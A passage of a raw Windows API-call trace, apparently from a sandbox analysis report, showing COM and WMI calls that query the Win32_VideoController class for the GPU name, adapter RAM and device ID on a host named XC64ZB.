Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc0c0 | out: ppvObject=0x1afbc0c0*=0x7bbce8) returned 0x0 [0169.019] IClientSecurity:SetBlanket (This=0x7bbce8, pProxy=0x7bbce0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.025] IUnknown:Release (This=0x7bbce8) returned 0x2 [0169.025] WbemLocator:IUnknown:Release (This=0x1b21fdd8) returned 0x1 [0169.026] CoTaskMemFree (pv=0x1b204160) [0169.026] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbb70 | out: ppvObject=0x1afbbb70*=0x1b21fdd8) returned 0x0 [0169.026] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbc00 | out: ppvObject=0x1afbbc00*=0x0) returned 0x80004002 [0169.027] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb820 | out: ppvObject=0x1afbb820*=0x0) returned 0x80004002 [0169.046] IUnknown:QueryInterface (in: This=0x7bbce0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb3f8 | out: ppvObject=0x1afbb3f8*=0x0) returned 0x80004002 [0169.047] WbemLocator:IUnknown:AddRef (This=0x1b21fdd8) returned 0x3 [0169.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb2b8 | out: ppvObject=0x1afbb2b8*=0x0) returned 0x80004002 [0169.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb240 | out: ppvObject=0x1afbb240*=0x0) returned 0x80004002 [0169.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb230 | out: ppvObject=0x1afbb230*=0x1b21fcb8) returned 0x0 [0169.048] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b21fcb8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb258 | out: pCid=0x1afbb258*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.048] WbemLocator:IUnknown:Release (This=0x1b21fcb8) returned 0x3 [0169.048] CoGetContextToken (in: pToken=0x1afbb2e0 | out: pToken=0x1afbb2e0) returned 0x0 [0169.048] CoGetContextToken (in: pToken=0x1afbb760 | out: pToken=0x1afbb760) returned 0x0 [0169.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb820 | out: ppvObject=0x1afbb820*=0x1b21fda0) returned 0x0 [0169.048] WbemLocator:IRpcOptions:Query (in: This=0x1b21fda0, pPrx=0x1b21fdd8, dwProperty=2, pdwValue=0x1afbb810 | out: pdwValue=0x1afbb810) returned 0x80004002 [0169.048] WbemLocator:IUnknown:Release (This=0x1b21fda0) returned 0x3 [0169.048] WbemLocator:IUnknown:Release (This=0x1b21fdd8) returned 0x2 [0169.048] CoGetContextToken (in: pToken=0x1afbbe20 | out: pToken=0x1afbbe20) returned 0x0 [0169.048] CoGetContextToken (in: pToken=0x1afbbd20 | out: pToken=0x1afbbd20) returned 0x0 [0169.049] WbemLocator:IUnknown:QueryInterface (in: This=0x1b21fdd8, riid=0x1afbbe80*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbbe50 | out: ppvObject=0x1afbbe50*=0x7bbce0) returned 0x0 [0169.049] IUnknown:AddRef (This=0x7bbce0) returned 0x4 [0169.049] IUnknown:Release (This=0x7bbce0) returned 0x3 [0169.049] IUnknown:Release (This=0x7bbce0) returned 0x2 [0169.049] IUnknown:Release (This=0x7fac20) returned 0x2 [0169.049] SysStringLen (param_1=0x0) returned 0x0 [0169.049] IEnumWbemClassObject:Reset (This=0x7bbce0) returned 0x0 [0169.050] CoTaskMemAlloc (cb=0x8) returned 0x1b1dd2d0 [0169.050] IEnumWbemClassObject:Next (in: This=0x7bbce0, lTimeout=-1, uCount=0x1, apObjects=0x1b1dd2d0, puReturned=0x29e6890 | out: apObjects=0x1b1dd2d0*=0x1b220b50, puReturned=0x29e6890*=0x1) returned 0x0 [0169.057] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb710 | out: ppvObject=0x1afbb710*=0x1b220b50) returned 0x0 [0169.058] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb7a0 | out: ppvObject=0x1afbb7a0*=0x0) returned 0x80004002 [0169.058] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb3c0 | out: ppvObject=0x1afbb3c0*=0x0) returned 0x80004002 [0169.058] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbaf98 | out: ppvObject=0x1afbaf98*=0x0) returned 0x80004002 [0169.058] IUnknown:AddRef (This=0x1b220b50) returned 0x3 [0169.058] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbae58 | out: ppvObject=0x1afbae58*=0x0) returned 0x80004002 [0169.058] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbade0 | out: ppvObject=0x1afbade0*=0x0) returned 0x80004002 [0169.058] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbadd0 | out: ppvObject=0x1afbadd0*=0x1b220b58) returned 0x0 [0169.058] IMarshal:GetUnmarshalClass (in: This=0x1b220b58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbadf8 | out: pCid=0x1afbadf8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0169.058] IUnknown:Release (This=0x1b220b58) returned 0x3 [0169.058] CoGetContextToken (in: pToken=0x1afbae80 | out: pToken=0x1afbae80) returned 0x0 [0169.058] CoGetContextToken (in: pToken=0x1afbb300 | out: pToken=0x1afbb300) returned 0x0 [0169.058] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb3c0 | out: ppvObject=0x1afbb3c0*=0x0) returned 0x80004002 [0169.058] IUnknown:Release (This=0x1b220b50) returned 0x2 [0169.058] CoGetContextToken (in: pToken=0x1afbb9c0 | out: pToken=0x1afbb9c0) returned 0x0 [0169.058] CoGetContextToken (in: pToken=0x1afbb8c0 | out: pToken=0x1afbb8c0) returned 0x0 [0169.058] IUnknown:QueryInterface (in: This=0x1b220b50, riid=0x1afbba20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbb9f0 | out: ppvObject=0x1afbb9f0*=0x1b220b50) returned 0x0 [0169.058] IUnknown:AddRef (This=0x1b220b50) returned 0x4 [0169.058] IUnknown:Release (This=0x1b220b50) returned 0x3 [0169.059] IUnknown:Release (This=0x1b220b50) returned 0x2 [0169.059] CoTaskMemFree (pv=0x1b1dd2d0) [0169.059] CoGetContextToken (in: pToken=0x1afbbd90 | out: pToken=0x1afbbd90) returned 0x0 [0169.059] IUnknown:AddRef (This=0x1b220b50) returned 0x3 [0169.059] IWbemClassObject:Get (in: This=0x1b220b50, wszName="__GENUS", lFlags=0, pVal=0x1afbc350*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc478*=0, plFlavor=0x1afbc470*=0 | out: pVal=0x1afbc350*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1afbc478*=3, plFlavor=0x1afbc470*=64) returned 0x0 [0169.059] IWbemClassObject:Get (in: This=0x1b220b50, wszName="__PATH", lFlags=0, pVal=0x1afbc300*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc430*=0, plFlavor=0x1afbc428*=0 | out: pVal=0x1afbc300*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"", varVal2=0x0), pType=0x1afbc430*=8, plFlavor=0x1afbc428*=64) returned 0x0 [0169.059] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x8a [0169.059] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x8a [0169.059] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc378 | out: ppv=0x1afbc378*=0x77dd58) returned 0x0 [0169.059] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc368 | out: pAptType=0x1afbc368*=1) returned 0x0 [0169.059] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc370 | out: ppvObject=0x1afbc370*=0x0) returned 0x80004002 [0169.059] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.060] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb768 | out: ppv=0x1afbb768*=0x1b1ffa50) returned 0x0 [0169.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b1ffa50, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb850 | out: ppvObject=0x1afbb850*=0x0) returned 0x80004002 [0169.060] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b1ffa50, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb828 | out: ppvObject=0x1afbb828*=0x7b3d00) returned 0x0 [0169.060] WbemDefPath:IUnknown:Release (This=0x1b1ffa50) returned 0x0 [0169.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3d00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb5d0 | out: ppvObject=0x1afbb5d0*=0x7b3d00) returned 0x0 [0169.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3d00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb660 | out: ppvObject=0x1afbb660*=0x0) returned 0x80004002 [0169.060] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3d00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbae58 | out: ppvObject=0x1afbae58*=0x0) returned 0x80004002 [0169.060] WbemDefPath:IUnknown:AddRef (This=0x7b3d00) returned 0x3 [0169.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3d00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbad18 | out: ppvObject=0x1afbad18*=0x0) returned 0x80004002 [0169.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3d00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbaca0 | out: ppvObject=0x1afbaca0*=0x0) returned 0x80004002 [0169.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3d00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbac90 | out: ppvObject=0x1afbac90*=0x1b1ff810) returned 0x0 [0169.061] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b1ff810, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbacb8 | out: pCid=0x1afbacb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.061] WbemDefPath:IUnknown:Release (This=0x1b1ff810) returned 0x3 [0169.061] CoGetContextToken (in: pToken=0x1afbad40 | out: pToken=0x1afbad40) returned 0x0 [0169.061] CoGetContextToken (in: pToken=0x1afbb1c0 | out: pToken=0x1afbb1c0) returned 0x0 [0169.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3d00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb280 | out: ppvObject=0x1afbb280*=0x0) returned 0x80004002 [0169.061] WbemDefPath:IUnknown:Release (This=0x7b3d00) returned 0x2 [0169.061] WbemDefPath:IUnknown:Release (This=0x7b3d00) returned 0x1 [0169.061] CoGetContextToken (in: pToken=0x1afbbfb0 | out: pToken=0x1afbbfb0) returned 0x0 [0169.061] CoGetContextToken (in: pToken=0x1afbbeb0 | out: pToken=0x1afbbeb0) returned 0x0 [0169.061] WbemDefPath:IUnknown:QueryInterface (in: This=0x7b3d00, riid=0x1afbc010*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbbfe0 | out: ppvObject=0x1afbbfe0*=0x7b3d00) returned 0x0 [0169.061] WbemDefPath:IUnknown:AddRef (This=0x7b3d00) returned 0x3 [0169.061] WbemDefPath:IUnknown:Release (This=0x7b3d00) returned 0x2 [0169.061] WbemDefPath:IWbemPath:SetText (This=0x7b3d00, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x0 [0169.061] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc398 | out: puCount=0x1afbc398*=0x2) returned 0x0 [0169.061] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc390*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc390*=0xf, pszText=0x0) returned 0x0 [0169.061] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc390*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc390*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.061] CoGetContextToken (in: pToken=0x1afbc160 | out: pToken=0x1afbc160) returned 0x0 [0169.061] WbemLocator:IUnknown:Release (This=0x1b21fdd8) returned 0x1 [0169.062] IUnknown:Release (This=0x7bbce0) returned 0x0 [0169.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.064] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.064] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.064] IWbemClassObject:Get (in: This=0x1b220b50, wszName="Name", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7488*=0, plFlavor=0x29e748c*=0 | out: pVal=0x1afbc400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 630", varVal2=0x0), pType=0x29e7488*=8, plFlavor=0x29e748c*=0) returned 0x0 [0169.064] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0169.064] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0169.064] IWbemClassObject:Get (in: This=0x1b220b50, wszName="Name", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7488*=8, plFlavor=0x29e748c*=0 | out: pVal=0x1afbc450*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 630", varVal2=0x0), pType=0x29e7488*=8, plFlavor=0x29e748c*=0) returned 0x0 [0169.064] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0169.064] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0169.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.064] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.064] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.064] IWbemClassObject:Get (in: This=0x1b220b50, wszName="Name", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e75a0*=0, plFlavor=0x29e75a4*=0 | out: pVal=0x1afbc400*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 630", varVal2=0x0), pType=0x29e75a0*=8, plFlavor=0x29e75a4*=0) returned 0x0 [0169.064] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0169.065] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0169.065] IWbemClassObject:Get (in: This=0x1b220b50, wszName="Name", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e75a0*=8, plFlavor=0x29e75a4*=0 | out: pVal=0x1afbc450*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) HD Graphics 630", varVal2=0x0), pType=0x29e75a0*=8, plFlavor=0x29e75a4*=0) returned 0x0 [0169.065] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0169.065] SysStringByteLen (bstr="Intel(R) HD Graphics 630") returned 0x30 [0169.065] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.065] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.065] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.065] IWbemClassObject:Get (in: This=0x1b220b50, wszName="AdapterRAM", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7750*=0, plFlavor=0x29e7754*=0 | out: pVal=0x1afbc400*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7750*=19, plFlavor=0x29e7754*=0) returned 0x0 [0169.065] IWbemClassObject:Get (in: This=0x1b220b50, wszName="AdapterRAM", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7750*=19, plFlavor=0x29e7754*=0 | out: pVal=0x1afbc450*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7750*=19, plFlavor=0x29e7754*=0) returned 0x0 [0169.069] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.069] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.070] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.070] IWbemClassObject:Get (in: This=0x1b220b50, wszName="AdapterRAM", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7e90*=0, plFlavor=0x29e7e94*=0 | out: pVal=0x1afbc400*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7e90*=19, plFlavor=0x29e7e94*=0) returned 0x0 [0169.070] IWbemClassObject:Get (in: This=0x1b220b50, wszName="AdapterRAM", lFlags=0, pVal=0x1afbc450*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7e90*=19, plFlavor=0x29e7e94*=0 | out: pVal=0x1afbc450*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e7e90*=19, plFlavor=0x29e7e94*=0) returned 0x0 [0169.114] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b43c0, puCount=0x1afbc448 | out: puCount=0x1afbc448*=0x2) returned 0x0 [0169.114] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc440*=0xf, pszText=0x0) returned 0x0 [0169.114] WbemDefPath:IWbemPath:GetText (in: This=0x7b43c0, lFlags=4, puBuffLength=0x1afbc440*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc440*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.114] IWbemClassObject:Get (in: This=0x1b220b50, wszName="DeviceID", lFlags=0, pVal=0x1afbc400*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e9a78*=0, 